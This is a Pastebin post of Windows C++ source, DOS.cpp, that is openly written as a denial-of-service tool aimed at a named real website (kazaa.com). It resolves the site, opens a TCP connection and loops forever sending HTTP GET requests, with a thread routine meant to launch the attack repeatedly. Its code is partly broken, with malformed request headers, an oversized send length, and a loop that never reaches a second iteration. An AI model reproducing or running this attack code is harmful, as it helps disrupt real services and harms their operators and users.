FlyFar

DOS.cpp

Mar 26th, 2024
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.49 KB | Cybersecurity | 0 0
  1.  
  2. #define WIN32_LEAN_AND_MEAN //do not add any MFC bullshit
  3. #include <windows.h>
  4. #include <winsock2.h>
  5. #pragma comment(lib, "ws2_32.lib")
  6.  
  7.  
  8. #define site "www.kazaa.com"  //perform dos on kazaa.com, those damn pirates
  9. #define PORT 80
  10.  
  11. //connect to the site and send get request
  12. static int connect_c(struct sockaddr_in *addr)
  13. {
  14.  
  15.  
  16. SOCKET sock;
  17.  
  18. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  19. connect(sock, (struct sockaddr *)addr, sizeof(struct sockaddr_in));
  20. for(;;)
  21. {
  22. send(sock,"GET / HTTP/1.1\r\n Host: www.kazaa.com\r\n ",1000,0);
  23. Sleep(320);
  24. }
  25. return 0;
  26.  
  27. }
  28. //ip address resolver. uses gethostbyname api to get ip of site from dns
  29. static unsigned long resolve(char *website)
  30. {
  31. unsigned long addy = inet_addr(website);
  32. if (addy == 0xFFFFFFFF || (addy == 0 && website[0] != '0')) {
  33. struct hostent *host = gethostbyname(website);
  34. if (host != NULL)
  35. addy = *(unsigned long *)host->h_addr_list[0];
  36. }
  37. if (addy == 0xFFFFFFFF) addy = 0;
  38. return addy;
  39. }
  40. //main code for dos attack
  41. int attacksite()
  42. {
  43.  
  44. struct sockaddr_in addr;
  45.  
  46.  
  47. WSADATA data;
  48. WSAStartup(MAKEWORD(2,0), &data);
  49.  
  50.  
  51. memset(&addr, '\0', sizeof(addr));
  52. addr.sin_family = AF_INET;
  53. addr.sin_addr.s_addr = resolve(site);
  54. addr.sin_port = htons(PORT);
  55.  
  56. connect_c(&addr);
  57. return 0;
  58.  
  59. }
  60. //main thread for dos attack
  61. DWORD _stdcall DOSATTACK(LPVOID th)
  62. {
  63.    
  64.     int i;
  65. #define numthreads 100
  66.  
  67.     for(i=1; i<numthreads; i++) //for loop that launches attack thread 100 times
  68.         attacksite();
  69. return 0; //just return null
  70.    
  71. }
Add Comment
Please, Sign In to add comment